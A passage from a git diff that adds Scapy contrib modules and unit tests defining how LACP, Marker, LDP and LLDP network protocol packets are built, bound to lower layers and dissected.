+ ShortField("actor_port_priority", 0), + ShortField("actor_port_number", 0), + ByteField("actor_state", 0), + XStrFixedLenField("actor_reserved", "", 3), + ByteField("partner_type", 2), + ByteField("partner_length", 20), + ShortField("partner_system_priority", 0), + MACField("partner_system", None), + ShortField("partner_key", 0), + ShortField("partner_port_priority", 0), + ShortField("partner_port_number", 0), + ByteField("partner_state", 0), + XStrFixedLenField("partner_reserved", "", 3), + ByteField("collector_type", 3), + ByteField("collector_length", 16), + ShortField("collector_max_delay", 0), + XStrFixedLenField("collector_reserved", "", 12), + ByteField("terminator_type", 0), + ByteField("terminator_length", 0), + XStrFixedLenField("reserved", "", 50), + ] + + +bind_layers(SlowProtocol, LACP, subtype=1) + +MARKER_TYPES = { + 'Marker Request': 1, + 'Marker Response': 2, +} + + +class MarkerProtocol(Packet): + name = "MarkerProtocol" + fields_desc = [ + ByteField("version", 1), + ByteEnumField("marker_type", 1, MARKER_TYPES), + ByteField("marker_length", 16), + ShortField("requester_port", 0), + MACField("requester_system", None), + IntField("requester_transaction_id", 0), + XStrFixedLenField("marker_reserved", "", 2), + ByteField("terminator_type", 0), + ByteField("terminator_length", 0), + XStrFixedLenField("reserved", 0, 90), + ] + + +bind_layers(SlowProtocol, MarkerProtocol, subtype=2) diff --git a/libs/scapy/contrib/lacp.uts b/libs/scapy/contrib/lacp.uts new file mode 100755 index 0000000..50dd95d --- /dev/null +++ b/libs/scapy/contrib/lacp.uts @@ -0,0 +1,48 @@ +% LACP unit tests +# +# Type the following command to launch start the tests: +# $ test/run_tests -P "load_contrib('lacp')" -t scapy/contrib/lacp.uts + ++ LACP + += Build & dissect LACP + +# 1 0.000000 CiscoInc_12:0f:0d Slow-Protocols LACP 124 Link Aggregation Control ProtocolVersion 1. Actor Port = 22 Partner Port = 25 +params = dict( + actor_system_priority=32768, + actor_system='00:13:c4:12:0f:00', + actor_key=13, + actor_port_priority=32768, + actor_port_numer=22, + actor_state=0x85, + partner_system_priority=32768, + partner_system='00:0e:83:16:f5:00', + partner_key=13, + partner_port_priority=32768, + partner_port_numer=25, + partner_state=0x36, + collector_max_delay=32768, +) +pkt = Ether(src="00:13:c4:12:0f:0d") / SlowProtocol() / LACP(**params) +s = raw(pkt) +raw_pkt = b'\x01\x80\xc2\x00\x00\x02\x00\x13\xc4\x12\x0f\x0d\x88\x09\x01\x01\x01\x14\x80' \ + b'\x00\x00\x13\xc4\x12\x0f\x00\x00\x0d\x80\x00\x00\x16\x85\x00\x00\x00\x02\x14' \ + b'\x80\x00\x00\x0e\x83\x16\xf5\x00\x00\x0d\x80\x00\x00\x19\x36\x00\x00\x00\x03' \ + b'\x10\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \ + b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \ + b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \ + b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +assert(s == raw_pkt) + +p = Ether(s) +assert(SlowProtocol in p and LACP in p) +assert(raw(p) == raw_pkt) + += Marker sanity + +pkt = Ether(src="00:13:c4:12:0f:0d") / SlowProtocol() / MarkerProtocol() +pkt.show() +s = raw(pkt) +p = Ether(s) +assert(SlowProtocol in p and MarkerProtocol in p) +assert(raw(p) == s) diff --git a/libs/scapy/contrib/ldp.py b/libs/scapy/contrib/ldp.py new file mode 100755 index 0000000..c8942b9 --- /dev/null +++ b/libs/scapy/contrib/ldp.py @@ -0,0 +1,441 @@ +# scapy.contrib.description = Label Distribution Protocol (LDP) +# scapy.contrib.status = loads + +# http://git.savannah.gnu.org/cgit/ldpscapy.git/snapshot/ldpscapy-5285b81d6e628043df2a83301b292f24a95f0ba1.tar.gz + +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Copyright (C) 2010 Florian Duraffourg + +from __future__ import absolute_import +import struct + +from scapy.compat import orb +from scapy.packet import Packet, bind_layers, bind_bottom_up +from scapy.fields import BitField, IPField, IntField, ShortField, StrField, \ + XBitField +from scapy.layers.inet import UDP +from scapy.layers.inet import TCP +from scapy.modules.six.moves import range +from scapy.config import conf +from scapy.utils import inet_aton, inet_ntoa + + +class _LDP_Packet(Packet): + # Guess payload + def guess_payload_class(self, p): + LDPTypes = { + 0x0001: LDPNotification, + 0x0100: LDPHello, + 0x0200: LDPInit, + 0x0201: LDPKeepAlive, + 0x0300: LDPAddress, + 0x0301: LDPAddressWM, + 0x0400: LDPLabelMM, + 0x0401: LDPLabelReqM, + 0x0404: LDPLabelARM, + 0x0402: LDPLabelWM, + 0x0403: LDPLabelRelM, + } + type = struct.unpack("!H", p[0:2])[0] + type = type & 0x7fff + if type == 0x0001 and struct.unpack("!H", p[2:4])[0] > 20: + return LDP + if type in LDPTypes: + return LDPTypes[type] + else: + return conf.raw_layer + + def post_build(self, p, pay): + if self.len is None: + tmp_len = len(p) - 4 + p = p[:2] + struct.pack("!H", tmp_len) + p[4:] + return p + pay + +# Fields # + +# 3.4.1. FEC TLV + + +class FecTLVField(StrField): + islist = 1 + + def m2i(self, pkt, x): + used = 0 + x = x[4:] + list = [] + while x: + # if x[0] == 1: + # list.append('Wildcard') + # else: + # mask=orb(x[8*i+3]) + # add=inet_ntoa(x[8*i+4:8*i+8]) + mask = orb(x[3]) + nbroctets = mask // 8 + if mask % 8: + nbroctets += 1 + add = inet_ntoa(x[4:4 + nbroctets] + b"\x00" * (4 - nbroctets)) + list.append((add, mask)) + used += 4 + nbroctets + x = x[4 + nbroctets:] + return list + + def i2m(self, pkt, x): + if not x: + return b"" + if isinstance(x, bytes): + return x + s = b"\x01\x00" + tmp_len = 0 + fec = b"" + for o in x: + fec += b"\x02\x00\x01" + # mask length + fec += struct.pack("!B", o[1]) + # Prefix + fec += inet_aton(o[0]) + tmp_len += 8 + s += struct.pack("!H", tmp_len) + s += fec + return s + + def size(self, s): + """Get the size of this field""" + tmp_len = 4 + struct.unpack("!H", s[2:4])[0] + return tmp_len + + def getfield(self, pkt, s): + tmp_len = self.size(s) + return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) + + +# 3.4.2.1. Generic Label TLV + +class LabelTLVField(StrField): + def m2i(self, pkt, x): + return struct.unpack("!I", x[4:8])[0] + + def i2m(self, pkt, x): + if isinstance(x, bytes): + return x + s = b"\x02\x00\x00\x04" + s += struct.pack("!I", x) + return s + + def size(self, s): + """Get the size of this field""" + tmp_len = 4 + struct.unpack("!H", s[2:4])[0] + return tmp_len + + def getfield(self, pkt, s): + tmp_len = self.size(s) + return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) + + +# 3.4.3. Address List TLV + +class AddressTLVField(StrField): + islist = 1 + + def m2i(self, pkt, x): + nbr = struct.unpack("!H", x[2:4])[0] - 2 + nbr //= 4 + x = x[6:] + list = [] + for i in range(0, nbr): + add = x[4 * i:4 * i + 4] + list.append(inet_ntoa(add)) + return list + + def i2m(self, pkt, x): + if not x: + return b"" + if isinstance(x, bytes): + return x + tmp_len = 2 + len(x) * 4 + s = b"\x01\x01" + struct.pack("!H", tmp_len) + b"\x00\x01" + for o in x: + s += inet_aton(o) + return s + + def size(self, s): + """Get the size of this field""" + tmp_len = 4 + struct.unpack("!H", s[2:4])[0] + return tmp_len + + def getfield(self, pkt, s): + tmp_len = self.size(s) + return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) + + +# 3.4.6. Status TLV + +class StatusTLVField(StrField): + islist = 1 + + def m2i(self, pkt, x): + lst = [] + statuscode = struct.unpack("!I", x[4:8])[0] + lst.append((statuscode & 2**31) >> 31) + lst.append((statuscode & 2**30) >> 30) + lst.append(statuscode & 0x3FFFFFFF) + lst.append(struct.unpack("!I", x[8:12])[0]) + lst.append(struct.unpack("!H", x[12:14])[0]) + return lst + + def i2m(self, pkt, x): + if isinstance(x, bytes): + return x + s = b"\x03\x00" + struct.pack("!H", 10) + statuscode = 0 + if x[0] != 0: + statuscode += 2**31 + if x[1] != 0: + statuscode += 2**30 + statuscode += x[2] + s += struct.pack("!I", statuscode) + if len(x) > 3: + s += struct.pack("!I", x[3]) + else: + s += b"\x00\x00\x00\x00" + if len(x) > 4: + s += struct.pack("!H", x[4]) + else: + s += b"\x00\x00" + return s + + def getfield(self, pkt, s): + tmp_len = 14 + return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) + + +# 3.5.2 Common Hello Parameters TLV +class CommonHelloTLVField(StrField): + islist = 1 + + def m2i(self, pkt, x): + list = [] + v = struct.unpack("!H", x[4:6])[0] + list.append(v) + flags = orb(x[6]) + v = (flags & 0x80) >> 7 + list.append(v) + v = (flags & 0x40) >> 6 + list.append(v) + return list + + def i2m(self, pkt, x): + if isinstance(x, bytes): + return x + s = b"\x04\x00\x00\x04" + s += struct.pack("!H", x[0]) + byte = 0 + if x[1] == 1: + byte += 0x80 + if x[2] == 1: + byte += 0x40 + s += struct.pack("!B", byte) + s += b"\x00" + return s + + def getfield(self, pkt, s): + tmp_len = 8 + return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) + + +# 3.5.3 Common Session Parameters TLV +class CommonSessionTLVField(StrField): + islist = 1 + + def m2i(self, pkt, x): + lst = [struct.unpack("!H", x[6:8])[0]] + octet = struct.unpack("B", x[8:9])[0] + lst.append((octet & 2**7) >> 7) + lst.append((octet & 2**6) >> 6) + lst.append(struct.unpack("B", x[9:10])[0]) + lst.append(struct.unpack("!H", x[10:12])[0]) + lst.append(inet_ntoa(x[12:16])) + lst.append(struct.unpack("!H", x[16:18])[0]) + return lst + + def i2m(self, pkt, x): + if isinstance(x, bytes): + return x + s = b"\x05\x00\x00\x0E\x00\x01" + s += struct.pack("!H", x[0]) + octet = 0 + if x[1] != 0: + octet += 2**7 + if x[2] != 0: + octet += 2**6 + s += struct.pack("!B", octet) + s += struct.pack("!B", x[3]) + s += struct.pack("!H", x[4]) + s += inet_aton(x[5]) + s += struct.pack("!H", x[6]) + return s + + def getfield(self, pkt, s): + tmp_len = 18 + return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) + + +# Messages # + +# 3.5.1. Notification Message +class LDPNotification(_LDP_Packet): + name = "LDPNotification" + fields_desc = [BitField("u", 0, 1), + BitField("type", 0x0001, 15), + ShortField("len", None), + IntField("id", 0), + StatusTLVField("status", (0, 0, 0, 0, 0))] + +# 3.5.2. Hello Message + + +class LDPHello(_LDP_Packet): + name = "LDPHello" + fields_desc = [BitField("u", 0, 1), + BitField("type", 0x0100, 15), + ShortField("len", None), + IntField("id", 0), + CommonHelloTLVField("params", [180, 0, 0])] + +# 3.5.3. Initialization Message + + +class LDPInit(_LDP_Packet): + name = "LDPInit" + fields_desc = [BitField("u", 0, 1), + XBitField("type", 0x0200, 15), + ShortField("len", None), + IntField("id", 0), + CommonSessionTLVField("params", None)] + +# 3.5.4. KeepAlive Message + + +class LDPKeepAlive(_LDP_Packet): + name = "LDPKeepAlive" + fields_desc = [BitField("u", 0, 1), + XBitField("type", 0x0201, 15), + ShortField("len", None), + IntField("id", 0)] + +# 3.5.5. Address Message + + +class LDPAddress(_LDP_Packet): + name = "LDPAddress" + fields_desc = [BitField("u", 0, 1), + XBitField("type", 0x0300, 15), + ShortField("len", None), + IntField("id", 0), + AddressTLVField("address", None)] + +# 3.5.6. Address Withdraw Message + + +class LDPAddressWM(_LDP_Packet): + name = "LDPAddressWM" + fields_desc = [BitField("u", 0, 1), + XBitField("type", 0x0301, 15), + ShortField("len", None), + IntField("id", 0), + AddressTLVField("address", None)] + +# 3.5.7. Label Mapping Message + + +class LDPLabelMM(_LDP_Packet): + name = "LDPLabelMM" + fields_desc = [BitField("u", 0, 1), + XBitField("type", 0x0400, 15), + ShortField("len", None), + IntField("id", 0), + FecTLVField("fec", None), + LabelTLVField("label", 0)] + +# 3.5.8. Label Request Message + + +class LDPLabelReqM(_LDP_Packet): + name = "LDPLabelReqM" + fields_desc = [BitField("u", 0, 1), + XBitField("type", 0x0401, 15), + ShortField("len", None), + IntField("id", 0), + FecTLVField("fec", None)] + +# 3.5.9. Label Abort Request Message + + +class LDPLabelARM(_LDP_Packet): + name = "LDPLabelARM" + fields_desc = [BitField("u", 0, 1), + XBitField("type", 0x0404, 15), + ShortField("len", None), + IntField("id", 0), + FecTLVField("fec", None), + IntField("labelRMid", 0)] + +# 3.5.10. Label Withdraw Message + + +class LDPLabelWM(_LDP_Packet): + name = "LDPLabelWM" + fields_desc = [BitField("u", 0, 1), + XBitField("type", 0x0402, 15), + ShortField("len", None), + IntField("id", 0), + FecTLVField("fec", None), + LabelTLVField("label", 0)] + +# 3.5.11. Label Release Message + + +class LDPLabelRelM(_LDP_Packet): + name = "LDPLabelRelM" + fields_desc = [BitField("u", 0, 1), + XBitField("type", 0x0403, 15), + ShortField("len", None), + IntField("id", 0), + FecTLVField("fec", None), + LabelTLVField("label", 0)] + +# 3.1. LDP PDUs + + +class LDP(_LDP_Packet): + name = "LDP" + fields_desc = [ShortField("version", 1), + ShortField("len", None), + IPField("id", "127.0.0.1"), + ShortField("space", 0)] + + def post_build(self, p, pay): + pay = pay or b"" + if self.len is None: + tmp_len = len(p) + len(pay) - 4 + p = p[:2] + struct.pack("!H", tmp_len) + p[4:] + return p + pay + + +bind_bottom_up(TCP, LDP, sport=646) +bind_bottom_up(TCP, LDP, dport=646) +bind_bottom_up(TCP, UDP, sport=646) +bind_bottom_up(TCP, UDP, dport=646) +bind_layers(TCP, LDP, sport=646, dport=646) +bind_layers(UDP, LDP, sport=646, dport=646) diff --git a/libs/scapy/contrib/ldp.uts b/libs/scapy/contrib/ldp.uts new file mode 100755 index 0000000..5e184bc --- /dev/null +++ b/libs/scapy/contrib/ldp.uts @@ -0,0 +1,48 @@ +% Regression tests for the ldp module + ++ Basic LDP test + += Default build + +load_contrib("ldp") +base = Ether()/IP()/UDP()/LDP() +pkt1 = base/LDPNotification() +pkt2 = base/LDPKeepAlive() +pkt3 = base/LDPLabelWM() +pkt4 = base/LDPHello() +pkt5 = base/LDPAddressWM() +pkt6 = base/LDPLabelMM() + +# Build +pkt1 = Ether(raw(pkt1)) +pkt2 = Ether(raw(pkt2)) +pkt3 = Ether(raw(pkt3)) +pkt4 = Ether(raw(pkt4)) +pkt5 = Ether(raw(pkt5)) +pkt6 = Ether(raw(pkt6)) + +assert LDPNotification in pkt1 +assert LDPKeepAlive in pkt2 +assert LDPLabelWM in pkt3 +assert LDPHello in pkt4 +assert LDPAddressWM in pkt5 +assert LDPLabelMM in pkt6 + += Basic dissection +pkt = Ether(b'AJH\x18\x07\xfa\xd0P\x99V\xdd\xf9\x08\x00E\x00\x006\x00\x01\x00\x00@\x11:\x96(\x9d\r\xd3\xc1\x1eq\x10\x02\x86\x02\x86\x00"5\xa1\x00\x01\x00\x16\x7f\x00\x00\x01\x00\x00\x01\x00\x00\x0c\x00\x00\x00\x00\x04\x00\x00\x04\x00\xb4\x00\x00') +assert LDPHello in pkt +assert pkt[LDP].id == "127.0.0.1" +assert pkt[LDPHello].params == [180, 0, 0] + += Build advanced LDPInit() +pkti = LDPInit(u=0, id=11, params=[180, 0, 0, 0, 0, '1.1.2.2', 0])/LDPKeepAlive() +assert raw(pkti) == b'\x02\x00\x00\x16\x00\x00\x00\x0b\x05\x00\x00\x0e\x00\x01\x00\xb4\x00\x00\x00\x00\x01\x01\x02\x02\x00\x00\x02\x01\x00\x04\x00\x00\x00\x00' +pkti = LDPInit(raw(pkti)) +assert pkti.params == [180, 0, 0, 0, 0, '1.1.2.2', 0] + += Build advanced LDPAddress() with LDPLabelMM() +pkta = LDPAddress(address=['1.1.2.2', '172.16.2.1'])/LDPLabelMM(fec=[('172.16.2.0', 31)])/LDPLabelMM(fec=[('1.1.2.2', 32)])/LDPLabelMM(fec=[('1.1.2.1', 32)]) + += Advanced dissection - complex LDP +pkt = Ether(b"\xcc\x04\x04\xdc\x00\x10\xcc\x03\x04\xdc\x00\x10\x88G\x00\x01-\xfeE\xc0\x014\xfe\x84\x00\x00\xff\x06\xb5z\x01\x01\x02\x02\x01\x01\x02\x01\xe4\xe4\x02\x86\xbf\xfb'\xe4\xb9\xb3\xe4GP\x10\x0e\xb6v\x9f\x00\x00\x00\x01\x01\x08\x01\x01\x02\x02\x00\x00\x03\x00\x00\x12\x00\x00\x00\x0e\x01\x01\x00\n\x00\x01\x01\x01\x02\x02\xac\x10\x02\x01\x04\x00\x00\x18\x00\x00\x00\x0f\x01\x00\x00\x08\x02\x00\x01\x1f\xac\x10\x02\x00\x02\x00\x00\x04\x00\x00\x00\x03\x04\x00\x00\x18\x00\x00\x00\x10\x01\x00\x00\x08\x02\x00\x01 \x01\x01\x02\x02\x02\x00\x00\x04\x00\x00\x00\x03\x04\x00\x00\x18\x00\x00\x00\x11\x01\x00\x00\x08\x02\x00\x01 \x01\x01\x02\x01\x02\x00\x00\x04\x00\x00\x00\x12\x04\x00\x00\x18\x00\x00\x00\x12\x01\x00\x00\x08\x02\x00\x01 \x01\x01\x01\x02\x02\x00\x00\x04\x00\x00\x00\x13\x04\x00\x00\x18\x00\x00\x00\x13\x01\x00\x00\x08\x02\x00\x01 \x01\x01\x01\x01\x02\x00\x00\x04\x00\x00\x00\x14\x04\x00\x00\x18\x00\x00\x00\x14\x01\x00\x00\x08\x02\x00\x01\x1f\xac\x10\x01\x00\x02\x00\x00\x04\x00\x00\x00\x15\x04\x00\x00\x18\x00\x00\x00\x15\x01\x00\x00\x08\x02\x00\x01\x1f\xac\x10\x00\x00\x02\x00\x00\x04\x00\x00\x00\x16\x04\x00\x00$\x00\x00\x00\x16\x01\x00\x00\x14\x80\x80\x05\x0c\x00\x00\x00\x00\x00\x00\x00\n\x01\x04\x05\xdc\x0c\x04\x03\x02\x02\x00\x00\x04\x00\x00\x00\x10") +assert pkt.getlayer(LDPLabelMM, 8).fec == [('0.0.0.0', 12), ('0.0.0.0', 0), ('5.0.0.0', 4), ('2.0.0.0', 3)] diff --git a/libs/scapy/contrib/lldp.py b/libs/scapy/contrib/lldp.py new file mode 100755 index 0000000..1a3cebd --- /dev/null +++ b/libs/scapy/contrib/lldp.py @@ -0,0 +1,734 @@ +# scapy.contrib.description = Link Layer Discovery Protocol (LLDP) +# scapy.contrib.status = loads + +""" + LLDP - Link Layer Discovery Protocol + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + :author: Thomas Tannhaeuser, hecke@naberius.de + :license: GPLv2 + + This module is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License + as published by the Free Software Foundation; either version 2 + of the License, or (at your option) any later version. + + This module is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + :description: + + This module provides Scapy layers for the LLDP protocol. + + normative references: + - IEEE 802.1AB 2016 - LLDP protocol, topology and MIB description + + :TODO: + - | organization specific TLV e.g. ProfiNet + | (see LLDPDUGenericOrganisationSpecific for a starting point) + - Ignore everything after EndofLLDPDUTLV + + :NOTES: + - you can find the layer configuration options at the end of this file + - default configuration enforces standard conform: + + * | frame structure + | (ChassisIDTLV/PortIDTLV/TimeToLiveTLV/...) + * multiplicity of TLVs (if given by the standard) + * min sizes of strings used by the TLVs + + - conf.contribs['LLDP'].strict_mode_disable() -> disable strict mode + +""" +from scapy.config import conf +from scapy.error import Scapy_Exception +from scapy.layers.l2 import Ether, Dot1Q +from scapy.fields import MACField, IPField, BitField, \ + StrLenField, ByteEnumField, BitEnumField, \ + EnumField, ThreeBytesField, BitFieldLenField, \ + ShortField, XStrLenField, ByteField, ConditionalField, \ + MultipleTypeField +from scapy.packet import Packet, bind_layers +from scapy.modules.six.moves import range +from scapy.data import ETHER_TYPES +from scapy.compat import orb + +LLDP_NEAREST_BRIDGE_MAC = '01:80:c2:00:00:0e' +LLDP_NEAREST_NON_TPMR_BRIDGE_MAC = '01:80:c2:00:00:03' +LLDP_NEAREST_CUSTOMER_BRIDGE_MAC = '01:80:c2:00:00:00' + +LLDP_ETHER_TYPE = 0x88cc +ETHER_TYPES['LLDP'] = LLDP_ETHER_TYPE + + +class LLDPInvalidFrameStructure(Scapy_Exception): + """ + basic frame structure not standard conform + (missing TLV, invalid order or multiplicity) + """ + pass + + +class LLDPMissingLowerLayer(Scapy_Exception): + """ + first layer below first LLDPDU must be Ethernet or Dot1q + """ + pass + + +class LLDPInvalidTLVCount(Scapy_Exception): + """ + invalid number of entries for a specific TLV type + """ + pass + + +class LLDPInvalidLengthField(Scapy_Exception): + """ + invalid value of length field + """ + pass + + +class LLDPDU(Packet): + """ + base class for all LLDP data units + """ + TYPES = { + 0x00: 'end of LLDPDU', + 0x01: 'chassis id', + 0x02: 'port id', + 0x03: 'time to live', + 0x04: 'port description', + 0x05: 'system name', + 0x06: 'system description', + 0x07: 'system capabilities', + 0x08: 'management address', + range(0x09, 0x7e): 'reserved - future standardization', + 127: 'organisation specific TLV' + } + + DOT1Q_HEADER_LEN = 4 + ETHER_HEADER_LEN = 14 + ETHER_FSC_LEN = 4 + ETHER_FRAME_MIN_LEN = 64 + + LAYER_STACK = [] + LAYER_MULTIPLICITIES = {} + + def guess_payload_class(self, payload): + # type is a 7-bit bitfield spanning bits 1..7 -> div 2 + try: + lldpdu_tlv_type = orb(payload[0]) // 2 + return LLDPDU_CLASS_TYPES.get(lldpdu_tlv_type, conf.raw_layer) + except IndexError: + return conf.raw_layer + + @staticmethod + def _dot1q_headers_size(layer): + """ + calculate size of lower dot1q layers (if present) + :param layer: the layer to start at + :return: size of vlan headers, layer below lowest vlan header + """ + + vlan_headers_size = 0 + under_layer = layer + + while under_layer and isinstance(under_layer, Dot1Q): + vlan_headers_size += LLDPDU.DOT1Q_HEADER_LEN + under_layer = under_layer.underlayer + + return vlan_headers_size, under_layer + + def post_build(self, pkt, pay): + + under_layer = self.underlayer + + if under_layer is None: + if conf.contribs['LLDP'].strict_mode(): + raise LLDPMissingLowerLayer('No lower layer (Ethernet ' + 'or Dot1Q) provided.') + else: + return pkt + pay + + if isinstance(under_layer, LLDPDU): + return pkt + pay + + frame_size, under_layer = LLDPDU._dot1q_headers_size(under_layer) + + if not under_layer or not isinstance(under_layer, Ether): + if conf.contribs['LLDP'].strict_mode(): + raise LLDPMissingLowerLayer('No Ethernet layer provided.') + else: + return pkt + pay + + frame_size += LLDPDU.ETHER_HEADER_LEN + frame_size += len(pkt) + len(pay) + LLDPDU.ETHER_FSC_LEN + if frame_size < LLDPDU.ETHER_FRAME_MIN_LEN: + return pkt + pay + b'\x00' * (LLDPDU.ETHER_FRAME_MIN_LEN - frame_size) # noqa: E501 + return pkt + pay + + @staticmethod + def _frame_structure_check(structure_description): + """ + check if the structure of the frame is conform to the basic + frame structure defined by the standard + :param structure_description: string-list reflecting LLDP-msg structure + """ + + standard_frame_structure = [LLDPDUChassisID.__name__, + LLDPDUPortID.__name__, + LLDPDUTimeToLive.__name__, + '<...>'] + + if len(structure_description) < 3: + raise LLDPInvalidFrameStructure( + 'Invalid frame structure.\ngot: {}\nexpected: ' + '{}'.format(' '.join(structure_description), + ' '.join(standard_frame_structure))) + + for idx, layer_name in enumerate(standard_frame_structure): + + if layer_name == '<...>': + break + if layer_name != structure_description[idx]: + raise LLDPInvalidFrameStructure( + 'Invalid frame structure.\ngot: {}\nexpected: ' + '{}'.format(' '.join(structure_description), + ' '.join(standard_frame_structure))) + + @staticmethod + def _tlv_multiplicities_check(tlv_type_count): + """ + check if multiplicity of present TLVs conforms to the standard + :param tlv_type_count: dict containing counte-per-TLV + """ + + # * : 0..n, 1 : one and only one. + standard_multiplicities = { + LLDPDUEndOfLLDPDU.__name__: '*', + LLDPDUChassisID.__name__: 1, + LLDPDUPortID.__name__: 1, + LLDPDUTimeToLive.__name__: 1, + LLDPDUPortDescription: '*', + LLDPDUSystemName: '*', + LLDPDUSystemDescription: '*', + LLDPDUSystemCapabilities: '*', + LLDPDUManagementAddress: '*' + } + + for tlv_type_name in standard_multiplicities: + + standard_tlv_multiplicity = \ + standard_multiplicities[tlv_type_name] + if standard_tlv_multiplicity == '*': + continue + + try: + if tlv_type_count[tlv_type_name] != standard_tlv_multiplicity: + raise LLDPInvalidTLVCount( + 'Invalid number of entries for TLV type ' + '{} - expected {} entries, got ' + '{}'.format(tlv_type_name, + standard_tlv_multiplicity, + tlv_type_count[tlv_type_name])) + + except KeyError: + raise LLDPInvalidTLVCount('Missing TLV layer of type ' + '{}.'.format(tlv_type_name)) + + def pre_dissect(self, s): + + if conf.contribs['LLDP'].strict_mode(): + if self.__class__.__name__ == 'LLDPDU': + LLDPDU.LAYER_STACK = [] + LLDPDU.LAYER_MULTIPLICITIES = {} + else: + LLDPDU.LAYER_STACK.append(self.__class__.__name__) + try: + LLDPDU.LAYER_MULTIPLICITIES[self.__class__.__name__] += 1 + except KeyError: + LLDPDU.LAYER_MULTIPLICITIES[self.__class__.__name__] = 1 + + return s + + def dissection_done(self, pkt): + + if self.__class__.__name__ == 'LLDPDU' and \ + conf.contribs['LLDP'].strict_mode(): + LLDPDU._frame_structure_check(LLDPDU.LAYER_STACK) + LLDPDU._tlv_multiplicities_check(LLDPDU.LAYER_MULTIPLICITIES) + + super(LLDPDU, self).dissection_done(pkt) + + def _check(self): + """Overwrited by LLDPU objects""" + pass + + def post_dissect(self, s): + self._check() + return super(LLDPDU, self).post_dissect(s) + + def do_build(self): + self._check() + return super(LLDPDU, self).do_build() + + +def _ldp_id_adjustlen(pkt, x): + """Return the length of the `id` field, + according to its real encoded type""" + f, v = pkt.getfield_and_val('id') + length = f.i2len(pkt, v) + 1 + if (isinstance(pkt, LLDPDUPortID) and pkt.subtype == 0x4) or \ + (isinstance(pkt, LLDPDUChassisID) and pkt.subtype == 0x5): + # Take the ConditionalField into account + length += 1 + return length + + +class LLDPDUChassisID(LLDPDU): + """ + ieee 802.1ab-2016 - sec. 8.5.2 / p. 26 + """ + LLDP_CHASSIS_ID_TLV_SUBTYPES = { + 0x00: 'reserved', + 0x01: 'chassis component', + 0x02: 'interface alias', + 0x03: 'port component', + 0x04: 'MAC address', + 0x05: 'network address', + 0x06: 'interface name', + 0x07: 'locally assigned', + range(0x08, 0xff): 'reserved' + } + + SUBTYPE_RESERVED = 0x00 + SUBTYPE_CHASSIS_COMPONENT = 0x01 + SUBTYPE_INTERFACE_ALIAS = 0x02 + SUBTYPE_PORT_COMPONENT = 0x03 + SUBTYPE_MAC_ADDRESS = 0x04 + SUBTYPE_NETWORK_ADDRESS = 0x05 + SUBTYPE_INTERFACE_NAME = 0x06 + SUBTYPE_LOCALLY_ASSIGNED = 0x07 + + fields_desc = [ + BitEnumField('_type', 0x01, 7, LLDPDU.TYPES), + BitFieldLenField('_length', None, 9, length_of='id', + adjust=lambda pkt, x: _ldp_id_adjustlen(pkt, x)), + ByteEnumField('subtype', 0x00, LLDP_CHASSIS_ID_TLV_SUBTYPES), + ConditionalField( + ByteField('family', 0), + lambda pkt: pkt.subtype == 0x05 + ), + MultipleTypeField([ + ( + MACField('id', None), + lambda pkt: pkt.subtype == 0x04 + ), + ( + IPField('id', None), + lambda pkt: pkt.subtype == 0x05 + ), + ], StrLenField('id', '', length_from=lambda pkt: pkt._length - 1) + ) + ] + + def _check(self): + """ + run layer specific checks + """ + if conf.contribs['LLDP'].strict_mode() and not self.id: + raise LLDPInvalidLengthField('id must be >= 1 characters long') + + +class LLDPDUPortID(LLDPDU): + """ + ieee 802.1ab-2016 - sec. 8.5.3 / p. 26 + """ + LLDP_PORT_ID_TLV_SUBTYPES = { + 0x00: 'reserved', + 0x01: 'interface alias', + 0x02: 'port component', + 0x03: 'MAC address', + 0x04: 'network address', + 0x05: 'interface name', + 0x06: 'agent circuit ID', + 0x07: 'locally assigned', + range(0x08, 0xff): 'reserved' + } + + SUBTYPE_RESERVED = 0x00 + SUBTYPE_INTERFACE_ALIAS = 0x01 + SUBTYPE_PORT_COMPONENT = 0x02 + SUBTYPE_MAC_ADDRESS = 0x03 + SUBTYPE_NETWORK_ADDRESS = 0x04 + SUBTYPE_INTERFACE_NAME = 0x05 + SUBTYPE_AGENT_CIRCUIT_ID = 0x06 + SUBTYPE_LOCALLY_ASSIGNED = 0x07 + + fields_desc = [ + BitEnumField('_type', 0x02, 7, LLDPDU.TYPES), + BitFieldLenField('_length', None, 9, length_of='id', + adjust=lambda pkt, x: _ldp_id_adjustlen(pkt, x)), + ByteEnumField('subtype', 0x00, LLDP_PORT_ID_TLV_SUBTYPES), + ConditionalField( + ByteField('family', 0), + lambda pkt: pkt.subtype == 0x04 + ), + MultipleTypeField([ + ( + MACField('id', None), + lambda pkt: pkt.subtype == 0x03 + ), + ( + IPField('id', None), + lambda pkt: pkt.subtype == 0x04 + ), + ], StrLenField('id', '', length_from=lambda pkt: pkt._length - 1) + ) + ] + + def _check(self): + """ + run layer specific checks + """ + if conf.contribs['LLDP'].strict_mode() and not self.id: + raise LLDPInvalidLengthField('id must be >= 1 characters long') + + +class LLDPDUTimeToLive(LLDPDU): + """ + ieee 802.1ab-2016 - sec. 8.5.4 / p. 29 + """ + fields_desc = [ + BitEnumField('_type', 0x03, 7, LLDPDU.TYPES), + BitField('_length', 0x02, 9), + ShortField('ttl', 20) + ] + + def _check(self): + """ + run layer specific checks + """ 